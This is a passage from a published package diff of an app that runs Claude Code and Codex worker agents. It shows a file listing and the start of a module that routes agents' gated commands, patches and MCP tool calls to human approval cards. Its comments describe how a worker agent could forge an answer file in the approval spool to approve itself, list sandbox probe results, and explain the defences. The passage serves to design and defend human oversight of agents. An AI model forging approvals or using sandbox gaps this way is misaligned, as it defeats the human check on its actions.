agentbox-app 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +674 -0
- package/README.md +176 -0
- package/bin/agentbox.mjs +103 -0
- package/briefs/adhd-mode.md +5 -0
- package/briefs/message-rules.md +95 -0
- package/briefs/worker.md +230 -0
- package/briefs/writing-rules.md +336 -0
- package/main/account-discovery.mjs +145 -0
- package/main/account-tooling.mjs +261 -0
- package/main/agent-activity.mjs +56 -0
- package/main/agent-files.mjs +422 -0
- package/main/agent-schedule.mjs +254 -0
- package/main/agent-sessions.mjs +435 -0
- package/main/agents.mjs +1095 -0
- package/main/analytics.mjs +206 -0
- package/main/answer-modes.mjs +206 -0
- package/main/approval-prompt-server.mjs +160 -0
- package/main/approvals.mjs +487 -0
- package/main/artifact-path.mjs +144 -0
- package/main/claude-bin.mjs +311 -0
- package/main/claude-input.mjs +117 -0
- package/main/claude-models.mjs +244 -0
- package/main/claude-plan.mjs +148 -0
- package/main/claude-usage.mjs +149 -0
- package/main/code-change.mjs +383 -0
- package/main/code-file.mjs +116 -0
- package/main/codex-account.mjs +146 -0
- package/main/codex-app-server.mjs +796 -0
- package/main/codex-approvals.mjs +712 -0
- package/main/codex-bin.mjs +261 -0
- package/main/codex-compaction.mjs +49 -0
- package/main/codex-models.mjs +194 -0
- package/main/codex-session.mjs +797 -0
- package/main/codex-threads.mjs +268 -0
- package/main/codex-usage-file.mjs +192 -0
- package/main/codex-usage.mjs +149 -0
- package/main/codex-watch.mjs +35 -0
- package/main/codex.mjs +757 -0
- package/main/config.mjs +345 -0
- package/main/copy-selection.mjs +55 -0
- package/main/crash-report.mjs +158 -0
- package/main/demo.mjs +254 -0
- package/main/dev-window.mjs +103 -0
- package/main/doc-file.mjs +99 -0
- package/main/doc-scheme.mjs +126 -0
- package/main/first-run.mjs +190 -0
- package/main/folders.mjs +91 -0
- package/main/fresh-user.mjs +120 -0
- package/main/git-change.mjs +323 -0
- package/main/img-scheme.mjs +90 -0
- package/main/instruction-settings.mjs +205 -0
- package/main/ipc.mjs +1558 -0
- package/main/live-replies.mjs +77 -0
- package/main/machine.mjs +113 -0
- package/main/main.mjs +972 -0
- package/main/menu.mjs +177 -0
- package/main/notify.mjs +155 -0
- package/main/open-source-file.mjs +8 -0
- package/main/project-identity.mjs +149 -0
- package/main/provider-commands.mjs +32 -0
- package/main/rail-note.mjs +74 -0
- package/main/repeats.mjs +261 -0
- package/main/row-label.mjs +185 -0
- package/main/screen-detail.mjs +44 -0
- package/main/serve.mjs +262 -0
- package/main/settings.mjs +912 -0
- package/main/staleness.mjs +76 -0
- package/main/store/chats.mjs +188 -0
- package/main/store/home.mjs +383 -0
- package/main/store/migrate.mjs +40 -0
- package/main/store/paths.mjs +82 -0
- package/main/store/pending-writes.mjs +122 -0
- package/main/store/project-lock.mjs +200 -0
- package/main/store/project.mjs +523 -0
- package/main/store/queues.mjs +31 -0
- package/main/store/work-items.mjs +299 -0
- package/main/store/write-queue.mjs +14 -0
- package/main/store-modules.mjs +23 -0
- package/main/store.mjs +1269 -0
- package/main/supervisor.mjs +6875 -0
- package/main/task-commands.mjs +161 -0
- package/main/task-folders-offthread.mjs +84 -0
- package/main/task-folders-thread.mjs +13 -0
- package/main/task-folders.mjs +409 -0
- package/main/task-remote-control.mjs +65 -0
- package/main/task-terminals.mjs +169 -0
- package/main/terminal-access.mjs +6 -0
- package/main/updater.mjs +240 -0
- package/main/zoom-keys.mjs +54 -0
- package/main/zoom-readout.mjs +20 -0
- package/mcp/agentbox-mcp.sh +34 -0
- package/mcp/core/account.mjs +77 -0
- package/mcp/core/chat.mjs +61 -0
- package/mcp/core/documents.mjs +238 -0
- package/mcp/core/page.mjs +152 -0
- package/mcp/core/products.mjs +110 -0
- package/mcp/core/skills.mjs +126 -0
- package/mcp/core/work.mjs +377 -0
- package/mcp/stdio.mjs +70 -0
- package/mcp/tools.mjs +257 -0
- package/package.json +186 -0
- package/renderer/dist/assets/Geist-Variable-Bj2R_7yk.woff2 +0 -0
- package/renderer/dist/assets/GeistMono-Variable-Dispecij.woff2 +0 -0
- package/renderer/dist/assets/addon-fit-YJmn1quW.js +12 -0
- package/renderer/dist/assets/addon-serialize-CsFQTvP_.js +13 -0
- package/renderer/dist/assets/cel-dusk-CS5I7kJS.webp +0 -0
- package/renderer/dist/assets/cel-dusk-DUslqS6B.webp +0 -0
- package/renderer/dist/assets/cel-dusk-Jt_xVGxp.webp +0 -0
- package/renderer/dist/assets/cel-dusk-sm-BBkV-tWT.webp +0 -0
- package/renderer/dist/assets/frost-haze-CxPSOBEg.webp +0 -0
- package/renderer/dist/assets/frost-haze-sm-C_w21qgd.webp +0 -0
- package/renderer/dist/assets/gouache-valley-ChSu14-t.webp +0 -0
- package/renderer/dist/assets/gouache-valley-d9qasI6k.webp +0 -0
- package/renderer/dist/assets/gouache-valley-sm-CdLjT5Ec.webp +0 -0
- package/renderer/dist/assets/ice-BC8luINc.webp +0 -0
- package/renderer/dist/assets/ice-CP9PrKHo.webp +0 -0
- package/renderer/dist/assets/ice-river-D6ziOhLY.webp +0 -0
- package/renderer/dist/assets/ice-river-UVM2-JY_.webp +0 -0
- package/renderer/dist/assets/ice-river-bErJwYWW.webp +0 -0
- package/renderer/dist/assets/ice-river-sm-Bg1U-SIj.webp +0 -0
- package/renderer/dist/assets/ice-sm-CbVcg3_D.webp +0 -0
- package/renderer/dist/assets/index-CwiDv5bL.css +32 -0
- package/renderer/dist/assets/index-D9hCAVPl.js +684 -0
- package/renderer/dist/assets/lake-C0WaW-6E.webp +0 -0
- package/renderer/dist/assets/lake-CSKjLC5K.webp +0 -0
- package/renderer/dist/assets/lake-ETGcOb25.webp +0 -0
- package/renderer/dist/assets/lake-harbour-BCQRbrHb.webp +0 -0
- package/renderer/dist/assets/lake-harbour-B_wfXTmE.webp +0 -0
- package/renderer/dist/assets/lake-harbour-Te1pEvBh.webp +0 -0
- package/renderer/dist/assets/lake-harbour-sm-Cme_ShEg.webp +0 -0
- package/renderer/dist/assets/lake-sm-CbG72Hbv.webp +0 -0
- package/renderer/dist/assets/lino-coast-CUZHcucI.webp +0 -0
- package/renderer/dist/assets/lino-coast-DP4J7cgd.webp +0 -0
- package/renderer/dist/assets/lino-coast-kOIAffr_.webp +0 -0
- package/renderer/dist/assets/lino-coast-sm-C1Mdbgit.webp +0 -0
- package/renderer/dist/assets/moon-pines-BskgnnXR.webp +0 -0
- package/renderer/dist/assets/moon-pines-CFSIIwt0.webp +0 -0
- package/renderer/dist/assets/moon-pines-PNhdOYww.webp +0 -0
- package/renderer/dist/assets/moon-pines-sm-C6K1NomK.webp +0 -0
- package/renderer/dist/assets/orbit-rings-2XV36Ch3.webp +0 -0
- package/renderer/dist/assets/orbit-rings-C4NrcYGQ.webp +0 -0
- package/renderer/dist/assets/orbit-rings-DGLk07dT.webp +0 -0
- package/renderer/dist/assets/orbit-rings-sm-Dky3YdvL.webp +0 -0
- package/renderer/dist/assets/peach-haze-2-C6f7xnWw.webp +0 -0
- package/renderer/dist/assets/peach-haze-2-sm-Dj_Ez_Sb.webp +0 -0
- package/renderer/dist/assets/pixel-harbour-DQjqMROg.webp +0 -0
- package/renderer/dist/assets/pixel-harbour-Dw71H_bc.webp +0 -0
- package/renderer/dist/assets/pixel-harbour-kOZfm-GM.webp +0 -0
- package/renderer/dist/assets/pixel-harbour-sm-Dturjuky.webp +0 -0
- package/renderer/dist/assets/pixel-orbit-C296JVMO.webp +0 -0
- package/renderer/dist/assets/pixel-orbit-C4oMRDSx.webp +0 -0
- package/renderer/dist/assets/pixel-orbit-CqVmQ4eh.webp +0 -0
- package/renderer/dist/assets/pixel-orbit-sm-CHagC_nO.webp +0 -0
- package/renderer/dist/assets/pixel-ridge-C6LYu6uE.webp +0 -0
- package/renderer/dist/assets/pixel-ridge-CIUCEESs.webp +0 -0
- package/renderer/dist/assets/pixel-ridge-sm-BnE0F_w-.webp +0 -0
- package/renderer/dist/assets/riso-hills-7heKVtry.webp +0 -0
- package/renderer/dist/assets/riso-hills-CIjAL3J6.webp +0 -0
- package/renderer/dist/assets/riso-hills-sm-DHsnbCfP.webp +0 -0
- package/renderer/dist/assets/slate-haze-BPWdkNsw.webp +0 -0
- package/renderer/dist/assets/slate-haze-sm-B0Cb5a2W.webp +0 -0
- package/renderer/dist/assets/source-sans-3-cyrillic-ext-wght-normal-DzyfIafT.woff2 +0 -0
- package/renderer/dist/assets/source-sans-3-cyrillic-wght-normal-BMDVbyM7.woff2 +0 -0
- package/renderer/dist/assets/source-sans-3-greek-ext-wght-normal-BWSLJLk6.woff2 +0 -0
- package/renderer/dist/assets/source-sans-3-greek-wght-normal-C9H9m1vD.woff2 +0 -0
- package/renderer/dist/assets/source-sans-3-latin-ext-wght-normal-C8iNium2.woff2 +0 -0
- package/renderer/dist/assets/source-sans-3-latin-wght-normal-BqRLTx4X.woff2 +0 -0
- package/renderer/dist/assets/source-sans-3-vietnamese-wght-normal-C1uRvKPU.woff2 +0 -0
- package/renderer/dist/assets/valley-haze-BDHPqoJy.webp +0 -0
- package/renderer/dist/assets/valley-haze-sm-CTyjmPAG.webp +0 -0
- package/renderer/dist/assets/vector-dunes-DzzWLdKo.webp +0 -0
- package/renderer/dist/assets/vector-dunes-Yr9NBQUy.webp +0 -0
- package/renderer/dist/assets/vector-dunes-sm-D8MYY6ms.webp +0 -0
- package/renderer/dist/assets/watercolour-mist-BCGKN4u4.webp +0 -0
- package/renderer/dist/assets/watercolour-mist-BF-jk5MC.webp +0 -0
- package/renderer/dist/assets/watercolour-mist-sm-Ds1xzTw9.webp +0 -0
- package/renderer/dist/assets/woodblock-sea-B1um67Z9.webp +0 -0
- package/renderer/dist/assets/woodblock-sea-DKQdYs32.webp +0 -0
- package/renderer/dist/assets/woodblock-sea-sm-BJzNq8xh.webp +0 -0
- package/renderer/dist/assets/xterm-BT7tBf8A.js +27 -0
- package/renderer/dist/emulator/audio-rules.mjs +74 -0
- package/renderer/dist/emulator/data/compression/README.md +11 -0
- package/renderer/dist/emulator/data/compression/extract7z.js +1 -0
- package/renderer/dist/emulator/data/compression/extractzip.js +1 -0
- package/renderer/dist/emulator/data/compression/libunrar.js +519 -0
- package/renderer/dist/emulator/data/compression/libunrar.wasm +0 -0
- package/renderer/dist/emulator/data/cores/README.md +22 -0
- package/renderer/dist/emulator/data/cores/mgba-legacy-wasm.data +0 -0
- package/renderer/dist/emulator/data/cores/mgba-thread-legacy-wasm.data +0 -0
- package/renderer/dist/emulator/data/cores/mgba-thread-wasm.data +0 -0
- package/renderer/dist/emulator/data/cores/mgba-wasm.data +0 -0
- package/renderer/dist/emulator/data/cores/package.json +65 -0
- package/renderer/dist/emulator/data/cores/reports/mgba.json +1 -0
- package/renderer/dist/emulator/data/emulator.css +1614 -0
- package/renderer/dist/emulator/data/loader.js +170 -0
- package/renderer/dist/emulator/data/localization/README.md +63 -0
- package/renderer/dist/emulator/data/localization/af-FR.json +339 -0
- package/renderer/dist/emulator/data/localization/ar-AR.json +301 -0
- package/renderer/dist/emulator/data/localization/ben-BEN.json +301 -0
- package/renderer/dist/emulator/data/localization/de-GER.json +301 -0
- package/renderer/dist/emulator/data/localization/el-GR.json +301 -0
- package/renderer/dist/emulator/data/localization/en-US.json +339 -0
- package/renderer/dist/emulator/data/localization/es-ES.json +310 -0
- package/renderer/dist/emulator/data/localization/fa-AF.json +310 -0
- package/renderer/dist/emulator/data/localization/hi-HI.json +301 -0
- package/renderer/dist/emulator/data/localization/it-IT.json +302 -0
- package/renderer/dist/emulator/data/localization/ja-JA.json +301 -0
- package/renderer/dist/emulator/data/localization/jv-JV.json +301 -0
- package/renderer/dist/emulator/data/localization/ko-KO.json +336 -0
- package/renderer/dist/emulator/data/localization/pt-BR.json +361 -0
- package/renderer/dist/emulator/data/localization/retroarch.json +617 -0
- package/renderer/dist/emulator/data/localization/ro-RO.json +310 -0
- package/renderer/dist/emulator/data/localization/ru-RU.json +301 -0
- package/renderer/dist/emulator/data/localization/tr-TR.json +310 -0
- package/renderer/dist/emulator/data/localization/vi-VN.json +302 -0
- package/renderer/dist/emulator/data/localization/zh-CN.json +351 -0
- package/renderer/dist/emulator/data/src/GameManager.js +464 -0
- package/renderer/dist/emulator/data/src/compression.js +142 -0
- package/renderer/dist/emulator/data/src/emulator.js +6158 -0
- package/renderer/dist/emulator/data/src/gamepad.js +167 -0
- package/renderer/dist/emulator/data/src/nipplejs.js +1 -0
- package/renderer/dist/emulator/data/src/shaders.js +236 -0
- package/renderer/dist/emulator/data/src/socket.io.min.js +7 -0
- package/renderer/dist/emulator/data/src/storage.js +125 -0
- package/renderer/dist/emulator/data/version.json +5 -0
- package/renderer/dist/emulator/host.js +299 -0
- package/renderer/dist/emulator/index.html +28 -0
- package/renderer/dist/emulator/provenance.json +6 -0
- package/renderer/dist/fixtures/onboard/designs/w-n13/the-first-row.html +1 -0
- package/renderer/dist/index.html +13 -0
- package/scripts/after-install.mjs +59 -0
- package/scripts/approval-server.sh +43 -0
- package/scripts/before-publish.mjs +133 -0
- package/shared/agent-import.d.mts +13 -0
- package/shared/agent-import.mjs +252 -0
- package/shared/agents.d.mts +190 -0
- package/shared/agents.mjs +937 -0
- package/shared/analytics-events.mjs +63 -0
- package/shared/answers.d.mts +12 -0
- package/shared/answers.mjs +80 -0
- package/shared/artifact-keys.d.mts +28 -0
- package/shared/artifact-keys.mjs +140 -0
- package/shared/bridge-map.mjs +128 -0
- package/shared/claude-commands.d.mts +20 -0
- package/shared/claude-commands.generated.mjs +149 -0
- package/shared/claude-commands.mjs +131 -0
- package/shared/claude-models.generated.d.mts +15 -0
- package/shared/claude-models.generated.mjs +26 -0
- package/shared/claude-usage.d.mts +16 -0
- package/shared/claude-usage.mjs +172 -0
- package/shared/codex-commands.d.mts +4 -0
- package/shared/codex-commands.mjs +17 -0
- package/shared/codex-import.d.mts +38 -0
- package/shared/codex-import.mjs +232 -0
- package/shared/codex-modes.mjs +159 -0
- package/shared/codex-usage.mjs +180 -0
- package/shared/contracts.mjs +412 -0
- package/shared/crash-scrub.mjs +182 -0
- package/shared/dashboard.mjs +481 -0
- package/shared/dead-run-trace.mjs +127 -0
- package/shared/demo-world.mjs +415 -0
- package/shared/effort-levels.d.mts +15 -0
- package/shared/effort-levels.mjs +76 -0
- package/shared/engines.d.mts +62 -0
- package/shared/engines.mjs +389 -0
- package/shared/first-run-examples.mjs +60 -0
- package/shared/first-run-line.mjs +149 -0
- package/shared/first-run-practice.d.mts +32 -0
- package/shared/first-run-practice.mjs +254 -0
- package/shared/first-run-shape.mjs +100 -0
- package/shared/fresh-user-home.mjs +189 -0
- package/shared/hook-failure.mjs +22 -0
- package/shared/install-id.mjs +39 -0
- package/shared/instruction-defaults.json +5 -0
- package/shared/library-folder.mjs +28 -0
- package/shared/notify-rules.mjs +120 -0
- package/shared/product-name.d.mts +6 -0
- package/shared/product-name.mjs +144 -0
- package/shared/project-folder-check.d.mts +22 -0
- package/shared/project-folder-check.mjs +152 -0
- package/shared/provider-commands.d.mts +8 -0
- package/shared/provider-commands.mjs +58 -0
- package/shared/rank.d.mts +19 -0
- package/shared/rank.mjs +146 -0
- package/shared/recovery.mjs +26 -0
- package/shared/referenced-files.d.mts +11 -0
- package/shared/referenced-files.mjs +122 -0
- package/shared/repeats.d.mts +45 -0
- package/shared/repeats.mjs +193 -0
- package/shared/schemes.mjs +33 -0
- package/shared/settings-terminal.d.mts +1 -0
- package/shared/settings-terminal.mjs +14 -0
- package/shared/side-build.mjs +57 -0
- package/shared/spawn-trouble.d.mts +8 -0
- package/shared/spawn-trouble.mjs +599 -0
- package/shared/terminal-state.d.mts +1 -0
- package/shared/terminal-state.mjs +58 -0
- package/shared/usage.d.mts +53 -0
- package/shared/usage.mjs +319 -0
- package/shared/work-items.mjs +561 -0
- package/shared/work-lines.mjs +360 -0
- package/worker-permissions.json +6 -0
|
@@ -0,0 +1,712 @@
|
|
|
1
|
+
// A CODEX WORKER'S GATED COMMAND AND ITS PATCH, ON THE CARD SHE ALREADY KNOWS.
|
|
2
|
+
//
|
|
3
|
+
// main/codex-app-server.mjs raises a server request to a callback and answers
|
|
4
|
+
// whatever that callback returns, with a fifteen-minute deadline and a deny on
|
|
5
|
+
// every failure path. It shipped with nobody on the other end and said so:
|
|
6
|
+
// "the slice that builds the card is the slice that passes a handler". This is
|
|
7
|
+
// the handler, and it is joined to the spool Agentbox already has rather than to
|
|
8
|
+
// a second one -- main/approvals.mjs writes and reads
|
|
9
|
+
// `<storeRoot>/.approvals/<uuid>.request.json`, main/ipc.mjs answers it, and
|
|
10
|
+
// renderer/src/App.tsx draws the card's `<pre>` off `input` without knowing
|
|
11
|
+
// which engine asked. A second card format would be a second thing to keep
|
|
12
|
+
// true, so a file change goes on the SAME card as a command.
|
|
13
|
+
//
|
|
14
|
+
// ------------------------------------------------------------------------
|
|
15
|
+
// THE ANSWER DOES NOT COME OFF THE DISK, AND THAT IS THE WHOLE SECURITY
|
|
16
|
+
// ARGUMENT OF THIS FILE.
|
|
17
|
+
//
|
|
18
|
+
// The spool sits INSIDE the store root, which workers are given. A Claude Code
|
|
19
|
+
// worker is granted it outright (`writeWorkerSettings` puts the store root in
|
|
20
|
+
// `additionalDirectories`, and `worker-permissions.json` allows Bash broadly),
|
|
21
|
+
// so on that engine a worker able to run a shell could in principle write
|
|
22
|
+
// `<uuid>.answer.json` and approve itself. That path has no alternative: the
|
|
23
|
+
// thing waiting for the answer is a separate process
|
|
24
|
+
// (main/approval-prompt-server.mjs) and a file is the only channel it has.
|
|
25
|
+
//
|
|
26
|
+
// HERE THE THING WAITING IS AGENTBOX ITSELF, so it does not need one. The
|
|
27
|
+
// founder's decision arrives through main/ipc.mjs's single answering door and
|
|
28
|
+
// is handed to `settle` in process; nothing on this path ever reads an answer
|
|
29
|
+
// file. A `<id>.answer.json` that appears for a request still waiting was
|
|
30
|
+
// therefore not written by her, and the poll below DELETES it -- so a forgery
|
|
31
|
+
// is not a weaker approval, it is not an approval, and it does not even leave
|
|
32
|
+
// her card hidden.
|
|
33
|
+
//
|
|
34
|
+
// What the sandbox contributes, measured on this Mac 2026-09-04 against
|
|
35
|
+
// codex-cli 0.148.0 by running `command/exec` under `sandboxPolicy: {type:
|
|
36
|
+
// "workspaceWrite", writableRoots: []}` with the cwd set to a product folder
|
|
37
|
+
// inside a store root under $HOME:
|
|
38
|
+
//
|
|
39
|
+
// write inside the cwd exit 0
|
|
40
|
+
// write <storeRoot>/.approvals/x.answer.json "Operation not permitted"
|
|
41
|
+
// write <storeRoot>/poke.txt "Operation not permitted"
|
|
42
|
+
// write under $TMPDIR exit 0
|
|
43
|
+
//
|
|
44
|
+
// So a Codex worker's own commands cannot reach the spool -- with the caveat on
|
|
45
|
+
// the last line, which is real: `workspace-write` leaves /tmp and $TMPDIR
|
|
46
|
+
// writable (`excludeSlashTmp` and `excludeTmpdirEnvVar` both default to false),
|
|
47
|
+
// so a store root under either of those would be reachable. Hers is `~/Zero`.
|
|
48
|
+
// The first run of that probe put its fixture store in `os.tmpdir` and every
|
|
49
|
+
// write "succeeded", which is the false negative worth remembering.
|
|
50
|
+
//
|
|
51
|
+
// That residue is closed as of 2026-09-05 and is written here so nobody
|
|
52
|
+
// reintroduces it. It used to read: between a forged write and the poll that
|
|
53
|
+
// removes it, `listPending` hides that card, because hiding a request that has
|
|
54
|
+
// an answer file is main/approvals.mjs's rule and it is shared with the Claude
|
|
55
|
+
// path. That shared rule now checks the founder's signature, so an answer file
|
|
56
|
+
// she did not write hides nothing on either engine -- and the Claude path,
|
|
57
|
+
// where the answer really does come off the disk, stopped believing one at the
|
|
58
|
+
// same time. main/approvals.mjs holds that argument and what it does not close.
|
|
59
|
+
|
|
60
|
+
import crypto from 'node:crypto';
|
|
61
|
+
import fs from 'node:fs';
|
|
62
|
+
import { appendSpoolLine, cardDigest, removeSpoolEntry, spoolDir, spoolEntryExists, writeSpoolFile } from './approvals.mjs';
|
|
63
|
+
|
|
64
|
+
// Her deadline and her refusal word, both taken from the transport rather than
|
|
65
|
+
// written again: it closes its own card on the same clock, and a second copy of
|
|
66
|
+
// fifteen minutes would be a second chance to disagree about how long she has.
|
|
67
|
+
import { APPROVAL_TIMEOUT_MS, REFUSAL_DECISION } from './codex-app-server.mjs';
|
|
68
|
+
|
|
69
|
+
// The four words a file change is described by, taken from the reader that
|
|
70
|
+
// already writes them into her trace rather than written a second time here.
|
|
71
|
+
import { fileVerbWord } from './codex.mjs';
|
|
72
|
+
import { Name, isOurSlug } from '../shared/product-name.mjs';
|
|
73
|
+
|
|
74
|
+
/**
|
|
75
|
+
* How often a waiting card looks for a file nobody should have written. The
|
|
76
|
+
* same beat main/approval-prompt-server.mjs polls its answers on. */
|
|
77
|
+
export const POLL_MS = 2_000;
|
|
78
|
+
|
|
79
|
+
/** The word that lets her yes through. */
|
|
80
|
+
const ACCEPT_DECISION = 'accept';
|
|
81
|
+
|
|
82
|
+
/**
|
|
83
|
+
* HOW MUCH OF WHAT SHE IS APPROVING GOES ON THE CARD, AND THE ONLY PLACE IT IS
|
|
84
|
+
* DECIDED. One number for both shapes, because one card draws both.
|
|
85
|
+
*
|
|
86
|
+
* The renderer used to slice this to 400 characters, silently, while nothing
|
|
87
|
+
* capped it here -- so she read four hundred characters and authorised however
|
|
88
|
+
* many there were. THE DISPLAY BOUNDARY AND THE ENFORCEMENT BOUNDARY MUST NOT
|
|
89
|
+
* DIFFER, and on this engine that is not a corner case: Codex reads, searches
|
|
90
|
+
* and edits BY RUNNING SHELL COMMANDS, so a long command is the ordinary shape
|
|
91
|
+
* of the thing she is being asked about.
|
|
92
|
+
*
|
|
93
|
+
* Four thousand, which is comfortably above any real command (`sed -n
|
|
94
|
+
* '1,200p' <path>` and a long `git log` filter are tens of characters, not
|
|
95
|
+
* thousands) and short of a card that cannot be read at all. Past it the string
|
|
96
|
+
* is cut ONCE, here, with a mark saying exactly how much went -- so the worst
|
|
97
|
+
* case is a card that says out loud it is not the whole thing, rather than one
|
|
98
|
+
* that looks complete and is not. The `<pre>` on the other end scrolls
|
|
99
|
+
* (max-height 120px, overflow-y auto in renderer/src/styles.css), so everything
|
|
100
|
+
* on the card really is reachable.
|
|
101
|
+
*
|
|
102
|
+
* A PATCH IS THE SHAPE THAT WILL REACH IT FIRST, and the trade-off is stated
|
|
103
|
+
* rather than left to be found: the cut is taken off the END, so a change
|
|
104
|
+
* touching more files than four thousand characters can hold loses the LAST
|
|
105
|
+
* files named rather than the first. That is the same direction the command
|
|
106
|
+
* path cuts in, and the mark says how much went either way.
|
|
107
|
+
*/
|
|
108
|
+
export const CARD_CAP = 4_000;
|
|
109
|
+
|
|
110
|
+
/**
|
|
111
|
+
* THE FOUR PROTOCOL WORDS `NetworkApprovalContext` CAN CARRY, and nothing else
|
|
112
|
+
* is ever printed as one. Read off the CLI's own schema dump 2026-09-05,
|
|
113
|
+
* `NetworkApprovalProtocol`.
|
|
114
|
+
*/
|
|
115
|
+
const NETWORK_PROTOCOLS = ['http', 'https', 'socks5Tcp', 'socks5Udp'];
|
|
116
|
+
|
|
117
|
+
/** The destination a network approval opens, as one line, or nothing. */
|
|
118
|
+
function networkHost(context) {
|
|
119
|
+
if (!context || typeof context !== 'object' || Array.isArray(context)) return '';
|
|
120
|
+
const host = typeof context.host === 'string' ? context.host.trim() : '';
|
|
121
|
+
if (!host) return '';
|
|
122
|
+
const protocol = typeof context.protocol === 'string' ? context.protocol.trim() : '';
|
|
123
|
+
return NETWORK_PROTOCOLS.includes(protocol) ? `${host} over ${protocol}` : host;
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
/**
|
|
127
|
+
* THE MARK ON AN ELICITATION THAT MAKES IT A TOOL-CALL APPROVAL rather than a
|
|
128
|
+
* form asking her to type something, and the only thing that is read to tell
|
|
129
|
+
* the two apart. Measured on this Mac 2026-09-22, codex-cli 0.153.4: an MCP
|
|
130
|
+
* tool call under `approvalPolicy: untrusted` arrives as
|
|
131
|
+
* `mcpServer/elicitation/request` carrying `_meta.codex_approval_kind:
|
|
132
|
+
* "mcp_tool_call"`, a `message` written by Codex naming the server and the
|
|
133
|
+
* tool, and a `requestedSchema` with no properties at all.
|
|
134
|
+
*/
|
|
135
|
+
export const MCP_TOOL_CALL_KIND = 'mcp_tool_call';
|
|
136
|
+
|
|
137
|
+
/** True for the elicitation that is asking whether an MCP tool may run. */
|
|
138
|
+
export function isMcpToolCall(params) {
|
|
139
|
+
const meta = params?._meta;
|
|
140
|
+
if (!meta || typeof meta !== 'object' || Array.isArray(meta)) return false;
|
|
141
|
+
return meta.codex_approval_kind === MCP_TOOL_CALL_KIND;
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
/** The MCP server this elicitation came from, or ''. */
|
|
145
|
+
export function elicitationServer(params) {
|
|
146
|
+
return typeof params?.serverName === 'string' ? params.serverName.trim() : '';
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
/**
|
|
150
|
+
* IS THIS ELICITATION OUR OWN STORE, ASKED SO THAT A RENAME CANNOT ANSWER NO.
|
|
151
|
+
*
|
|
152
|
+
* `storeServer` is the name this app wrote into THIS thread's config, so on a
|
|
153
|
+
* thread that started today the two are the same string and this is an equality
|
|
154
|
+
* test. It is not an equality test on a thread that started before the app was
|
|
155
|
+
* renamed, and those are ordinary: a Codex thread is resumed for every reply
|
|
156
|
+
* she writes, the resume is a deep merge over the thread's own config, and the
|
|
157
|
+
* server the old thread registered under the old slug is still on it. The model
|
|
158
|
+
* reads its own transcript, calls the tool by the name it called it by last
|
|
159
|
+
* time, and the app then fails to recognise its own store and either asks her
|
|
160
|
+
* to approve her own plumbing or refuses it.
|
|
161
|
+
*
|
|
162
|
+
* So the question is asked of the app's name history, which `WAS` already keeps
|
|
163
|
+
* for the data folder and the env vars. NOTHING HERE WIDENS THE GRANT BEYOND
|
|
164
|
+
* THIS APP: a name we have never had is not ours, a run with no store server is
|
|
165
|
+
* not covered at all (see `ask`), and the only servers that can be on a worker
|
|
166
|
+
* thread are the ones `mcpIsolation` put there.
|
|
167
|
+
*/
|
|
168
|
+
export function isStoreElicitation(params, storeServer) {
|
|
169
|
+
if (!storeServer) return false;
|
|
170
|
+
const server = elicitationServer(params);
|
|
171
|
+
if (!server) return false;
|
|
172
|
+
return server === String(storeServer).trim() || isOurSlug(server);
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
/**
|
|
176
|
+
* ONE MCP TOOL CALL AS A CARD, drawn out of the elicitation itself.
|
|
177
|
+
*
|
|
178
|
+
* There is no itemId on an elicitation and so no `seen` memory to draw it from:
|
|
179
|
+
* what it carries is the server's name, Codex's own sentence naming the tool,
|
|
180
|
+
* and the arguments. Those three are the question, and the arguments are the
|
|
181
|
+
* half that matters, because `claim_work_item` and `write_document` are the
|
|
182
|
+
* same shape of call and two very different things to allow.
|
|
183
|
+
*
|
|
184
|
+
* NOTHING IS INVENTED WHEN THE SENTENCE IS MISSING. A card that says only
|
|
185
|
+
* "an MCP tool" is a card she cannot answer, so this returns null and `ask`
|
|
186
|
+
* refuses out loud, which is the rule the rest of this file already follows.
|
|
187
|
+
*/
|
|
188
|
+
export function mcpToolCard(params) {
|
|
189
|
+
// ONLY THE APPROVAL, NEVER THE FORM. The same channel carries an MCP server's
|
|
190
|
+
// own `elicitation/create`, which is a request for typed input against a real
|
|
191
|
+
// `requestedSchema`. Drawing that as an allow-or-deny card would put a
|
|
192
|
+
// question with no answer in front of her, so it is left to `ask` to refuse.
|
|
193
|
+
if (!isMcpToolCall(params)) return null;
|
|
194
|
+
const server = elicitationServer(params);
|
|
195
|
+
const said = typeof params?.message === 'string' ? params.message.trim() : '';
|
|
196
|
+
if (!said) return null;
|
|
197
|
+
const input = { description: said };
|
|
198
|
+
if (server) input.server = server;
|
|
199
|
+
const args = params?._meta?.tool_params;
|
|
200
|
+
if (args && typeof args === 'object' && Object.keys(args).length) {
|
|
201
|
+
try {
|
|
202
|
+
input.arguments = readable(JSON.stringify(args, null, 2));
|
|
203
|
+
} catch { /* an unserialisable argument is left off rather than guessed at */ }
|
|
204
|
+
}
|
|
205
|
+
return { tool: 'Mcp', input };
|
|
206
|
+
}
|
|
207
|
+
|
|
208
|
+
/** Whole, or cut once with the size of the cut said out loud. */
|
|
209
|
+
function readable(text) {
|
|
210
|
+
if (text.length <= CARD_CAP) return text;
|
|
211
|
+
const dropped = text.length - CARD_CAP;
|
|
212
|
+
return `${text.slice(0, CARD_CAP)}\n[+${dropped} character${dropped === 1 ? '' : 's'} not shown]`;
|
|
213
|
+
}
|
|
214
|
+
|
|
215
|
+
/**
|
|
216
|
+
* ONE `fileChange` ITEM AS THE CARD ITS APPROVAL WILL BE DRAWN AS, or null when
|
|
217
|
+
* there is nothing in it that can be said out loud.
|
|
218
|
+
*
|
|
219
|
+
* The approval request itself carries none of this (see `codexApprovalCard`);
|
|
220
|
+
* the ITEM does, and it goes past first. Every change in the item is on the
|
|
221
|
+
* card, because one `apply_patch` can touch several files and she is being
|
|
222
|
+
* asked about all of them at once -- measured: the first patch of the 09-04
|
|
223
|
+
* turn carried an add and a delete together.
|
|
224
|
+
*
|
|
225
|
+
* A CREATION IS NOT A DIFF. `diff` is a unified diff for an `update` and RAW
|
|
226
|
+
* FILE CONTENT for an `add`, so nothing here parses it -- it is her file,
|
|
227
|
+
* printed under the name of her file, whichever of the two shapes it arrived
|
|
228
|
+
* in.
|
|
229
|
+
*
|
|
230
|
+
* `tool` is the word on the card's hint line. One verb for a patch that did one
|
|
231
|
+
* thing, and the class word for a patch that did several, because "Write" over
|
|
232
|
+
